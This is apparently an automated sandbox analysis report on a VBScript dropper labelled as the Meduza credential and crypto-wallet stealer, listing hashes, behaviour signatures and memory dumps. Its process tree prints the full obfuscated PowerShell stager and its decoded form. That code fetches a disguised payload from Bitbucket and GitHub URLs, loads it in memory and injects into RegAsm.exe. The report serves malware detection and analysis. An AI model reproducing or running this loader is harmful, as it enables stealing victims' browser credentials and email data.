Analysis

  • max time kernel
    98s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-09-2024 16:49

General

  • Target

    .vbs

  • Size

    15KB

  • MD5

    ab1766e20f7dcd989dbe5178f79f1021

  • SHA1

    13c6d022745280d08981a625ab810b0f0400a10c

  • SHA256

    f3d1ba12a5642f65761296e6b5c32c5293864c8413c5fb31d2879b82ac11d298

  • SHA512

    c2f4e3447566451551afcf87ccdf5fc2b6ac7af3d9f31b244c103efa40171d6f3c689ebdda7fdd3bb8a744c0d9a4979e86e1cd0a432a5867667f87a108a9963c

  • SSDEEP

    192:X9Wmqq87qxnoIqCglHyGpItEBgGAoBgD4aM8PjQ97rMM0t/lTd7Ee82FPJQR0cG6:XEmqttNSuBQ2MLPj87OPJmxNSiMFpWB

Malware Config

Signatures

  • Meduza

    Meduza is a crypto wallet and info stealer written in C++.

  • Meduza Stealer payload 3 IoCs
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#HM#a#Bp#GU#b#Bk#GE#Z#Bh#HM#LwBn#HM#Z#Bn#Gg#agBq#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#GE#cwB1#GQ#ZQBt#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBl#Gc#Z#Bz#C8#dwBn#GQ#cw#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#M##n#Cw#I##n#HM#dgBo#G8#cwB0#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/shieldadas/gsdghjj/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.asudem/sdaolnwod/egds/wgds/gro.tekcubtib//:sptth', '0', 'svhost', 'RegAsm', '0'))}}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3464
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Checks computer location settings
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • outlook_office_path
          • outlook_win_path
          PID:4304

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    906a96ab3d13d754809f312628f6e4ac

    SHA1

    4f1f3d49c788e5736c31904eaf4683ea4e8683c6

    SHA256

    69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8

    SHA512

    a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nehtty1x.pew.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/116-23-0x00007FFBE9A13000-0x00007FFBE9A15000-memory.dmp

    Filesize

    8KB

  • memory/116-12-0x00007FFBE9A10000-0x00007FFBEA4D1000-memory.dmp

    Filesize

    10.8MB

  • memory/116-0-0x00007FFBE9A13000-0x00007FFBE9A15000-memory.dmp

    Filesize

    8KB

  • memory/116-24-0x00007FFBE9A10000-0x00007FFBEA4D1000-memory.dmp

    Filesize

    10.8MB

  • memory/116-6-0x000001B9FA520000-0x000001B9FA542000-memory.dmp

    Filesize

    136KB

  • memory/116-34-0x00007FFBE9A10000-0x00007FFBEA4D1000-memory.dmp

    Filesize

    10.8MB

  • memory/116-11-0x00007FFBE9A10000-0x00007FFBEA4D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3464-22-0x0000012803030000-0x000001280306E000-memory.dmp

    Filesize

    248KB

  • memory/4304-33-0x0000000000400000-0x00000000004DB000-memory.dmp

    Filesize

    876KB

  • memory/4304-31-0x0000000000400000-0x00000000004DB000-memory.dmp

    Filesize

    876KB

  • memory/4304-25-0x0000000000400000-0x00000000004DB000-memory.dmp

    Filesize

    876KB